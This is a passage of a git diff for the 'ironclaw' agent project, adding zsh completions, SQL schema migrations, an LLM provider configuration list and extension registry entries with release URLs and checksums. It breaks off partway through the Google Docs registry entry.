+_ironclaw__pairing__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw pairing list commands' commands "$@" +} +(( $+functions[_ironclaw__registry_commands] )) || +_ironclaw__registry_commands() { + local commands; commands=( +'list:List available extensions in the registry' \ +'info:Show detailed information about an extension or bundle' \ +'install:Install an extension or bundle from the registry' \ +'install-defaults:Install the default bundle of recommended extensions' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw registry commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help_commands] )) || +_ironclaw__registry__help_commands() { + local commands; commands=( +'list:List available extensions in the registry' \ +'info:Show detailed information about an extension or bundle' \ +'install:Install an extension or bundle from the registry' \ +'install-defaults:Install the default bundle of recommended extensions' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw registry help commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help__help_commands] )) || +_ironclaw__registry__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry help help commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help__info_commands] )) || +_ironclaw__registry__help__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry help info commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help__install_commands] )) || +_ironclaw__registry__help__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry help install commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) || +_ironclaw__registry__help__install-defaults_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry help install-defaults commands' commands "$@" +} +(( $+functions[_ironclaw__registry__help__list_commands] )) || +_ironclaw__registry__help__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry help list commands' commands "$@" +} +(( $+functions[_ironclaw__registry__info_commands] )) || +_ironclaw__registry__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry info commands' commands "$@" +} +(( $+functions[_ironclaw__registry__install_commands] )) || +_ironclaw__registry__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry install commands' commands "$@" +} +(( $+functions[_ironclaw__registry__install-defaults_commands] )) || +_ironclaw__registry__install-defaults_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry install-defaults commands' commands "$@" +} +(( $+functions[_ironclaw__registry__list_commands] )) || +_ironclaw__registry__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw registry list commands' commands "$@" +} +(( $+functions[_ironclaw__run_commands] )) || +_ironclaw__run_commands() { + local commands; commands=() + _describe -t commands 'ironclaw run commands' commands "$@" +} +(( $+functions[_ironclaw__service_commands] )) || +_ironclaw__service_commands() { + local commands; commands=( +'install:Install the OS service (launchd on macOS, systemd on Linux)' \ +'start:Start the installed service' \ +'stop:Stop the running service' \ +'status:Show service status' \ +'uninstall:Uninstall the OS service and remove the unit file' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw service commands' commands "$@" +} +(( $+functions[_ironclaw__service__help_commands] )) || +_ironclaw__service__help_commands() { + local commands; commands=( +'install:Install the OS service (launchd on macOS, systemd on Linux)' \ +'start:Start the installed service' \ +'stop:Stop the running service' \ +'status:Show service status' \ +'uninstall:Uninstall the OS service and remove the unit file' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw service help commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__help_commands] )) || +_ironclaw__service__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help help commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__install_commands] )) || +_ironclaw__service__help__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help install commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__start_commands] )) || +_ironclaw__service__help__start_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help start commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__status_commands] )) || +_ironclaw__service__help__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help status commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__stop_commands] )) || +_ironclaw__service__help__stop_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help stop commands' commands "$@" +} +(( $+functions[_ironclaw__service__help__uninstall_commands] )) || +_ironclaw__service__help__uninstall_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service help uninstall commands' commands "$@" +} +(( $+functions[_ironclaw__service__install_commands] )) || +_ironclaw__service__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service install commands' commands "$@" +} +(( $+functions[_ironclaw__service__start_commands] )) || +_ironclaw__service__start_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service start commands' commands "$@" +} +(( $+functions[_ironclaw__service__status_commands] )) || +_ironclaw__service__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service status commands' commands "$@" +} +(( $+functions[_ironclaw__service__stop_commands] )) || +_ironclaw__service__stop_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service stop commands' commands "$@" +} +(( $+functions[_ironclaw__service__uninstall_commands] )) || +_ironclaw__service__uninstall_commands() { + local commands; commands=() + _describe -t commands 'ironclaw service uninstall commands' commands "$@" +} +(( $+functions[_ironclaw__status_commands] )) || +_ironclaw__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw status commands' commands "$@" +} +(( $+functions[_ironclaw__tool_commands] )) || +_ironclaw__tool_commands() { + local commands; commands=( +'install:Install a WASM tool from source directory or .wasm file' \ +'list:List installed tools' \ +'remove:Remove an installed tool' \ +'info:Show information about a tool' \ +'auth:Configure authentication for a tool' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw tool commands' commands "$@" +} +(( $+functions[_ironclaw__tool__auth_commands] )) || +_ironclaw__tool__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool auth commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help_commands] )) || +_ironclaw__tool__help_commands() { + local commands; commands=( +'install:Install a WASM tool from source directory or .wasm file' \ +'list:List installed tools' \ +'remove:Remove an installed tool' \ +'info:Show information about a tool' \ +'auth:Configure authentication for a tool' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw tool help commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__auth_commands] )) || +_ironclaw__tool__help__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help auth commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__help_commands] )) || +_ironclaw__tool__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help help commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__info_commands] )) || +_ironclaw__tool__help__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help info commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__install_commands] )) || +_ironclaw__tool__help__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help install commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__list_commands] )) || +_ironclaw__tool__help__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help list commands' commands "$@" +} +(( $+functions[_ironclaw__tool__help__remove_commands] )) || +_ironclaw__tool__help__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool help remove commands' commands "$@" +} +(( $+functions[_ironclaw__tool__info_commands] )) || +_ironclaw__tool__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool info commands' commands "$@" +} +(( $+functions[_ironclaw__tool__install_commands] )) || +_ironclaw__tool__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool install commands' commands "$@" +} +(( $+functions[_ironclaw__tool__list_commands] )) || +_ironclaw__tool__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool list commands' commands "$@" +} +(( $+functions[_ironclaw__tool__remove_commands] )) || +_ironclaw__tool__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw tool remove commands' commands "$@" +} +(( $+functions[_ironclaw__worker_commands] )) || +_ironclaw__worker_commands() { + local commands; commands=() + _describe -t commands 'ironclaw worker commands' commands "$@" +} + +if [ "$funcstack[1]" = "_ironclaw" ]; then + _ironclaw "$@" +else + (( $+functions[compdef] )) && compdef _ironclaw ironclaw +fi diff --git a/migrations/V10__wasm_versioning.sql b/migrations/V10__wasm_versioning.sql new file mode 100644 index 00000000..d7404ac3 --- /dev/null +++ b/migrations/V10__wasm_versioning.sql @@ -0,0 +1,19 @@ +-- Add wit_version column to wasm_tools for WIT interface version tracking +ALTER TABLE wasm_tools ADD COLUMN IF NOT EXISTS wit_version TEXT NOT NULL DEFAULT '0.1.0'; + +-- Create wasm_channels table for DB-stored channel extensions +CREATE TABLE IF NOT EXISTS wasm_channels ( + id UUID PRIMARY KEY, + user_id TEXT NOT NULL, + name TEXT NOT NULL, + version TEXT NOT NULL DEFAULT '0.1.0', + wit_version TEXT NOT NULL DEFAULT '0.1.0', + description TEXT NOT NULL DEFAULT '', + wasm_binary BYTEA NOT NULL, + binary_hash BYTEA NOT NULL, + capabilities_json TEXT NOT NULL DEFAULT '{}', + status TEXT NOT NULL DEFAULT 'active', + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + CONSTRAINT unique_wasm_channel UNIQUE (user_id, name) +); diff --git a/migrations/V11__conversation_unique_indexes.sql b/migrations/V11__conversation_unique_indexes.sql new file mode 100644 index 00000000..750c4069 --- /dev/null +++ b/migrations/V11__conversation_unique_indexes.sql @@ -0,0 +1,13 @@ +-- Partial unique indexes to prevent duplicate singleton conversations. +-- These guard against TOCTOU races in get_or_create_routine_conversation +-- and get_or_create_heartbeat_conversation. + +-- One routine conversation per user per routine_id. +CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_routine +ON conversations (user_id, (metadata->>'routine_id')) +WHERE metadata->>'routine_id' IS NOT NULL; + +-- One heartbeat conversation per user. +CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_heartbeat +ON conversations (user_id) +WHERE metadata->>'thread_type' = 'heartbeat'; diff --git a/migrations/V9__flexible_embedding_dimension.sql b/migrations/V9__flexible_embedding_dimension.sql new file mode 100644 index 00000000..e158604b --- /dev/null +++ b/migrations/V9__flexible_embedding_dimension.sql @@ -0,0 +1,43 @@ +-- Allow embedding vectors of any dimension (not just 1536). +-- This supports Ollama models (768-dim nomic-embed-text, 1024-dim mxbai-embed-large) +-- alongside OpenAI models (1536-dim text-embedding-3-small, 3072-dim text-embedding-3-large). +-- +-- NOTE: HNSW indexes require a fixed dimension, so we drop the index. +-- Exact (sequential) cosine distance search still works without the index. +-- For a personal assistant workspace the dataset is small enough that this +-- has negligible impact on query latency. + +-- Drop dependent views first +DROP VIEW IF EXISTS chunks_pending_embedding; +DROP VIEW IF EXISTS memory_documents_summary; + +DROP INDEX IF EXISTS idx_memory_chunks_embedding; + +ALTER TABLE memory_chunks + ALTER COLUMN embedding TYPE vector + USING embedding::vector; + +-- Recreate the views +CREATE VIEW memory_documents_summary AS +SELECT + d.id, + d.user_id, + d.path, + d.created_at, + d.updated_at, + COUNT(c.id) as chunk_count, + COUNT(c.embedding) as embedded_chunk_count +FROM memory_documents d +LEFT JOIN memory_chunks c ON c.document_id = d.id +GROUP BY d.id; + +CREATE VIEW chunks_pending_embedding AS +SELECT + c.id as chunk_id, + c.document_id, + d.user_id, + d.path, + LENGTH(c.content) as content_length +FROM memory_chunks c +JOIN memory_documents d ON d.id = c.document_id +WHERE c.embedding IS NULL; diff --git a/providers.json b/providers.json new file mode 100644 index 00000000..d17cb3d6 --- /dev/null +++ b/providers.json @@ -0,0 +1,403 @@ +[ + { + "id": "openai", + "aliases": [ + "open_ai" + ], + "protocol": "open_ai_completions", + "api_key_env": "OPENAI_API_KEY", + "api_key_required": true, + "base_url_env": "OPENAI_BASE_URL", + "model_env": "OPENAI_MODEL", + "default_model": "gpt-4o", + "description": "OpenAI GPT models (direct API)", + "setup": { + "kind": "api_key", + "secret_name": "llm_openai_api_key", + "key_url": "https://platform.openai.com/api-keys", + "display_name": "OpenAI", + "can_list_models": true + } + }, + { + "id": "anthropic", + "aliases": [ + "claude" + ], + "protocol": "anthropic", + "api_key_env": "ANTHROPIC_API_KEY", + "api_key_required": true, + "base_url_env": "ANTHROPIC_BASE_URL", + "model_env": "ANTHROPIC_MODEL", + "default_model": "claude-sonnet-4-20250514", + "description": "Anthropic Claude models (direct API)", + "setup": { + "kind": "api_key", + "secret_name": "llm_anthropic_api_key", + "key_url": "https://console.anthropic.com/settings/keys", + "display_name": "Anthropic", + "can_list_models": true + } + }, + { + "id": "ollama", + "aliases": [], + "protocol": "ollama", + "default_base_url": "http://localhost:11434", + "base_url_env": "OLLAMA_BASE_URL", + "model_env": "OLLAMA_MODEL", + "default_model": "llama3", + "description": "Local Ollama instance (no API key needed)", + "setup": { + "kind": "ollama", + "display_name": "Ollama", + "can_list_models": true + } + }, + { + "id": "openai_compatible", + "aliases": [ + "openai-compatible", + "compatible" + ], + "protocol": "open_ai_completions", + "base_url_env": "LLM_BASE_URL", + "base_url_required": true, + "api_key_env": "LLM_API_KEY", + "api_key_required": false, + "model_env": "LLM_MODEL", + "default_model": "default", + "extra_headers_env": "LLM_EXTRA_HEADERS", + "description": "Custom OpenAI-compatible endpoint (vLLM, LiteLLM, etc.)", + "setup": { + "kind": "open_ai_compatible", + "secret_name": "llm_compatible_api_key", + "display_name": "OpenAI-compatible", + "can_list_models": false + } + }, + { + "id": "tinfoil", + "aliases": [], + "protocol": "open_ai_completions", + "default_base_url": "https://inference.tinfoil.sh/v1", + "api_key_env": "TINFOIL_API_KEY", + "api_key_required": true, + "model_env": "TINFOIL_MODEL", + "default_model": "kimi-k2-5", + "description": "Tinfoil private inference (hardware-attested TEE)", + "setup": { + "kind": "api_key", + "secret_name": "llm_tinfoil_api_key", + "key_url": "https://tinfoil.sh", + "display_name": "Tinfoil", + "can_list_models": false + } + }, + { + "id": "openrouter", + "aliases": [ + "open_router" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://openrouter.ai/api/v1", + "api_key_env": "OPENROUTER_API_KEY", + "api_key_required": true, + "model_env": "OPENROUTER_MODEL", + "default_model": "openai/gpt-4o", + "description": "OpenRouter multi-provider gateway (200+ models)", + "setup": { + "kind": "api_key", + "secret_name": "llm_openrouter_api_key", + "key_url": "https://openrouter.ai/settings/keys", + "display_name": "OpenRouter", + "can_list_models": false + } + }, + { + "id": "groq", + "aliases": [], + "protocol": "open_ai_completions", + "default_base_url": "https://api.groq.com/openai/v1", + "api_key_env": "GROQ_API_KEY", + "api_key_required": true, + "model_env": "GROQ_MODEL", + "default_model": "llama-3.3-70b-versatile", + "description": "Groq LPU inference (ultra-fast)", + "setup": { + "kind": "api_key", + "secret_name": "llm_groq_api_key", + "key_url": "https://console.groq.com/keys", + "display_name": "Groq", + "can_list_models": true, + "models_filter": "chat" + } + }, + { + "id": "nvidia", + "aliases": [ + "nvidia_nim", + "nim" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://integrate.api.nvidia.com/v1", + "api_key_env": "NVIDIA_API_KEY", + "api_key_required": true, + "model_env": "NVIDIA_MODEL", + "default_model": "meta/llama-3.3-70b-instruct", + "description": "NVIDIA NIM API (high-performance inference)", + "setup": { + "kind": "api_key", + "secret_name": "llm_nvidia_api_key", + "key_url": "https://build.nvidia.com", + "display_name": "NVIDIA NIM", + "can_list_models": true + } + }, + { + "id": "venice", + "aliases": [ + "venice_ai", + "veniceai" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.venice.ai/api/v1", + "api_key_env": "VENICE_API_KEY", + "api_key_required": true, + "model_env": "VENICE_MODEL", + "default_model": "llama-3.3-70b", + "description": "Venice.ai privacy-focused inference", + "setup": { + "kind": "api_key", + "secret_name": "llm_venice_api_key", + "key_url": "https://venice.ai/settings/api", + "display_name": "Venice.ai", + "can_list_models": false + } + }, + { + "id": "together", + "aliases": [ + "together_ai", + "togetherai" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.together.xyz/v1", + "api_key_env": "TOGETHER_API_KEY", + "api_key_required": true, + "model_env": "TOGETHER_MODEL", + "default_model": "meta-llama/Llama-3-70b-chat-hf", + "description": "Together AI inference", + "setup": { + "kind": "api_key", + "secret_name": "llm_together_api_key", + "key_url": "https://api.together.ai/settings/api-keys", + "display_name": "Together AI", + "can_list_models": false + } + }, + { + "id": "fireworks", + "aliases": [ + "fireworks_ai" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.fireworks.ai/inference/v1", + "api_key_env": "FIREWORKS_API_KEY", + "api_key_required": true, + "model_env": "FIREWORKS_MODEL", + "default_model": "accounts/fireworks/models/llama-v3p1-70b-instruct", + "description": "Fireworks AI inference", + "setup": { + "kind": "api_key", + "secret_name": "llm_fireworks_api_key", + "key_url": "https://fireworks.ai/api-keys", + "display_name": "Fireworks AI", + "can_list_models": false + } + }, + { + "id": "deepseek", + "aliases": [ + "deep_seek" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.deepseek.com/v1", + "api_key_env": "DEEPSEEK_API_KEY", + "api_key_required": true, + "model_env": "DEEPSEEK_MODEL", + "default_model": "deepseek-chat", + "description": "DeepSeek inference API", + "setup": { + "kind": "api_key", + "secret_name": "llm_deepseek_api_key", + "key_url": "https://platform.deepseek.com/api_keys", + "display_name": "DeepSeek", + "can_list_models": false + } + }, + { + "id": "cerebras", + "aliases": [], + "protocol": "open_ai_completions", + "default_base_url": "https://api.cerebras.ai/v1", + "api_key_env": "CEREBRAS_API_KEY", + "api_key_required": true, + "model_env": "CEREBRAS_MODEL", + "default_model": "llama-3.3-70b", + "description": "Cerebras wafer-scale inference", + "setup": { + "kind": "api_key", + "secret_name": "llm_cerebras_api_key", + "key_url": "https://cloud.cerebras.ai", + "display_name": "Cerebras", + "can_list_models": false + } + }, + { + "id": "sambanova", + "aliases": [ + "samba_nova" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.sambanova.ai/v1", + "api_key_env": "SAMBANOVA_API_KEY", + "api_key_required": true, + "model_env": "SAMBANOVA_MODEL", + "default_model": "Meta-Llama-3.1-70B-Instruct", + "description": "SambaNova Cloud inference", + "setup": { + "kind": "api_key", + "secret_name": "llm_sambanova_api_key", + "key_url": "https://cloud.sambanova.ai/apis", + "display_name": "SambaNova", + "can_list_models": false + } + }, + { + "id": "gemini", + "aliases": [ + "google_gemini", + "google" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://generativelanguage.googleapis.com/v1beta/openai", + "api_key_env": "GEMINI_API_KEY", + "api_key_required": true, + "model_env": "GEMINI_MODEL", + "default_model": "gemini-2.5-flash", + "description": "Google Gemini (via OpenAI-compatible endpoint)", + "setup": { + "kind": "api_key", + "secret_name": "llm_gemini_api_key", + "key_url": "https://aistudio.google.com/app/apikey", + "display_name": "Google Gemini", + "can_list_models": true + } + }, + { + "id": "bedrock", + "aliases": [ + "aws_bedrock", + "aws" + ], + "protocol": "open_ai_completions", + "api_key_env": "BEDROCK_ACCESS_KEY", + "api_key_required": false, + "base_url_env": "BEDROCK_BASE_URL", + "model_env": "BEDROCK_MODEL", + "default_model": "anthropic.claude-3-5-sonnet-20241022-v2:0", + "description": "AWS Bedrock (requires LiteLLM or OpenAI-compatible proxy)", + "setup": { + "kind": "open_ai_compatible", + "secret_name": "llm_bedrock_api_key", + "display_name": "AWS Bedrock", + "can_list_models": false + } + }, + { + "id": "ionet", + "aliases": [ + "io_net", + "io.net" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.intelligence.io.solutions/api/v1", + "api_key_env": "IONET_API_KEY", + "api_key_required": true, + "model_env": "IONET_MODEL", + "default_model": "deepseek-coder-v2-instruct", + "description": "io.net Intelligence API", + "setup": { + "kind": "api_key", + "secret_name": "llm_ionet_api_key", + "key_url": "https://cloud.io.net/intelligence", + "display_name": "io.net", + "can_list_models": true + } + }, + { + "id": "mistral", + "aliases": [ + "mistral_ai", + "mistralai" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://api.mistral.ai/v1", + "api_key_env": "MISTRAL_API_KEY", + "api_key_required": true, + "model_env": "MISTRAL_MODEL", + "default_model": "mistral-large-latest", + "description": "Mistral AI API", + "setup": { + "kind": "api_key", + "secret_name": "llm_mistral_api_key", + "key_url": "https://console.mistral.ai/api-keys", + "display_name": "Mistral", + "can_list_models": true + } + }, + { + "id": "yandex", + "aliases": [ + "yandex_ai_studio", + "yandexgpt", + "yandex_gpt" + ], + "protocol": "open_ai_completions", + "default_base_url": "https://ai.api.cloud.yandex.net/v1", + "api_key_env": "YANDEX_API_KEY", + "api_key_required": true, + "model_env": "YANDEX_MODEL", + "extra_headers_env": "YANDEX_EXTRA_HEADERS", + "default_model": "yandexgpt-lite", + "description": "Yandex AI Studio (YandexGPT)", + "setup": { + "kind": "api_key", + "secret_name": "llm_yandex_api_key", + "key_url": "https://aistudio.yandex.ru/platform/folders/", + "display_name": "Yandex AI Studio", + "can_list_models": true + } + }, + { + "id": "cloudflare", + "aliases": [ + "cloudflare_ai", + "cf_ai" + ], + "protocol": "open_ai_completions", + "api_key_env": "CLOUDFLARE_API_KEY", + "api_key_required": true, + "base_url_env": "CLOUDFLARE_BASE_URL", + "model_env": "CLOUDFLARE_MODEL", + "default_model": "@cf/meta/llama-3.3-70b-instruct-fp8-fast", + "description": "Cloudflare Workers AI", + "setup": { + "kind": "open_ai_compatible", + "secret_name": "llm_cloudflare_api_key", + "display_name": "Cloudflare Workers AI", + "can_list_models": false + } + } +] \ No newline at end of file diff --git a/registry/_bundles.json b/registry/_bundles.json new file mode 100644 index 00000000..c7adf1cd --- /dev/null +++ b/registry/_bundles.json @@ -0,0 +1,42 @@ +{ + "bundles": { + "google": { + "display_name": "Google Suite", + "description": "Gmail, Calendar, Drive, Docs, Sheets, Slides", + "extensions": [ + "tools/gmail", + "tools/google-calendar", + "tools/google-docs", + "tools/google-drive", + "tools/google-sheets", + "tools/google-slides" + ], + "shared_auth": "google_oauth_token" + }, + "messaging": { + "display_name": "Messaging Channels", + "description": "Discord, Telegram, Slack, and WhatsApp channels", + "extensions": [ + "channels/discord", + "channels/telegram", + "channels/slack", + "channels/whatsapp" + ], + "shared_auth": null + }, + "default": { + "display_name": "Recommended Set", + "description": "Core tools and channels for a productive setup", + "extensions": [ + "tools/github", + "tools/gmail", + "tools/google-calendar", + "tools/google-drive", + "tools/slack-tool", + "channels/telegram", + "channels/slack" + ], + "shared_auth": null + } + } +} diff --git a/registry/channels/discord.json b/registry/channels/discord.json new file mode 100644 index 00000000..abd29d82 --- /dev/null +++ b/registry/channels/discord.json @@ -0,0 +1,37 @@ +{ + "name": "discord", + "display_name": "Discord Channel", + "kind": "channel", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Talk to your agent in Discord", + "keywords": [ + "messaging", + "chat", + "discord", + "bot" + ], + "source": { + "dir": "channels-src/discord", + "capabilities": "discord.capabilities.json", + "crate_name": "discord-channel" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz", + "sha256": "030707431717bca3411a48f311c6ab5f92a45c747de26cafe4f6e3e23a8b3b2d" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Discord", + "secrets": [ + "discord_bot_token" + ], + "shared_auth": null, + "setup_url": "https://discord.com/developers/applications" + }, + "tags": [ + "messaging" + ] +} diff --git a/registry/channels/slack.json b/registry/channels/slack.json new file mode 100644 index 00000000..58a6e10e --- /dev/null +++ b/registry/channels/slack.json @@ -0,0 +1,39 @@ +{ + "name": "slack", + "display_name": "Slack Channel", + "kind": "channel", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Talk to your agent in Slack", + "keywords": [ + "messaging", + "chat", + "workspace", + "slack" + ], + "source": { + "dir": "channels-src/slack", + "capabilities": "slack.capabilities.json", + "crate_name": "slack-channel" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz", + "sha256": "6ed36077b67ac70a041f06f760f93ba79b33269885413c3c3f2c8c87ee60807e" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Slack", + "secrets": [ + "slack_bot_token", + "slack_signing_secret" + ], + "shared_auth": null, + "setup_url": "https://api.slack.com/apps" + }, + "tags": [ + "default", + "messaging" + ] +} diff --git a/registry/channels/telegram.json b/registry/channels/telegram.json new file mode 100644 index 00000000..d28234f9 --- /dev/null +++ b/registry/channels/telegram.json @@ -0,0 +1,38 @@ +{ + "name": "telegram", + "display_name": "Telegram Channel", + "kind": "channel", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Talk to your agent through a Telegram bot", + "keywords": [ + "messaging", + "bot", + "chat", + "telegram" + ], + "source": { + "dir": "channels-src/telegram", + "capabilities": "telegram.capabilities.json", + "crate_name": "telegram-channel" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz", + "sha256": "98c86895a9c4b0a1e19fe8a47f1ccbfe7e972e112b05e584bc897130dc32283a" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Telegram", + "secrets": [ + "telegram_bot_token" + ], + "shared_auth": null, + "setup_url": "https://t.me/BotFather" + }, + "tags": [ + "default", + "messaging" + ] +} diff --git a/registry/channels/whatsapp.json b/registry/channels/whatsapp.json new file mode 100644 index 00000000..84a69dc0 --- /dev/null +++ b/registry/channels/whatsapp.json @@ -0,0 +1,38 @@ +{ + "name": "whatsapp", + "display_name": "WhatsApp Channel", + "kind": "channel", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Talk to your agent through WhatsApp", + "keywords": [ + "messaging", + "chat", + "whatsapp", + "meta" + ], + "source": { + "dir": "channels-src/whatsapp", + "capabilities": "whatsapp.capabilities.json", + "crate_name": "whatsapp-channel" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/whatsapp-wasm32-wasip2.tar.gz", + "sha256": "bd35cad18d87292ea8d2f52db9b514ed9f814a414de910f59073d475c26c4c14" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Meta", + "secrets": [ + "whatsapp_access_token", + "whatsapp_verify_token" + ], + "shared_auth": null, + "setup_url": "https://developers.facebook.com/apps/" + }, + "tags": [ + "messaging" + ] +} diff --git a/registry/tools/github.json b/registry/tools/github.json new file mode 100644 index 00000000..67d41882 --- /dev/null +++ b/registry/tools/github.json @@ -0,0 +1,39 @@ +{ + "name": "github", + "display_name": "GitHub", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "GitHub integration for issues, PRs, repos, and code search", + "keywords": [ + "git", + "code", + "issues", + "pull-requests", + "repositories" + ], + "source": { + "dir": "tools-src/github", + "capabilities": "github-tool.capabilities.json", + "crate_name": "github-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/github-wasm32-wasip2.tar.gz", + "sha256": "6fcd32719a4ff15641a4b50fff8984686550f0c491dce60518f4126857d0c544" + } + }, + "auth_summary": { + "method": "manual", + "provider": "GitHub", + "secrets": [ + "github_token" + ], + "shared_auth": null, + "setup_url": "https://github.com/settings/tokens" + }, + "tags": [ + "default", + "development" + ] +} diff --git a/registry/tools/gmail.json b/registry/tools/gmail.json new file mode 100644 index 00000000..f1e7ab6e --- /dev/null +++ b/registry/tools/gmail.json @@ -0,0 +1,39 @@ +{ + "name": "gmail", + "display_name": "Gmail", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Read, send, and manage Gmail messages and threads", + "keywords": [ + "email", + "google", + "mail", + "messaging" + ], + "source": { + "dir": "tools-src/gmail", + "capabilities": "gmail-tool.capabilities.json", + "crate_name": "gmail-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/gmail-wasm32-wasip2.tar.gz", + "sha256": "023da7000b17568bf0e64b2e5013c8a042b2f323c85f1632339231c73d500e39" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "default", + "google", + "messaging" + ] +} diff --git a/registry/tools/google-calendar.json b/registry/tools/google-calendar.json new file mode 100644 index 00000000..cfc6ec92 --- /dev/null +++ b/registry/tools/google-calendar.json @@ -0,0 +1,39 @@ +{ + "name": "google-calendar", + "display_name": "Google Calendar", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Create, read, update, and delete Google Calendar events", + "keywords": [ + "calendar", + "google", + "scheduling", + "events" + ], + "source": { + "dir": "tools-src/google-calendar", + "capabilities": "google-calendar-tool.capabilities.json", + "crate_name": "google-calendar-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/google-calendar-wasm32-wasip2.tar.gz", + "sha256": "fc42277b65881d6e9bcc5403dc54c7f5b3ddeaaaf04617fce2c5da05d76325f0" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "default", + "google", + "productivity" + ] +} diff --git a/registry/tools/google-docs.json b/registry/tools/google-docs.json new file mode 100644 index 00000000..3f7107b2 --- /dev/null +++ b/registry/tools/google-docs.json @@ -0,0 +1,38 @@ +{ + "name": "google-docs", + "display_name": "Google Docs", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Create and edit Google Docs documents", + "keywords": [ + "documents", + "google", + "writing", + "docs" + 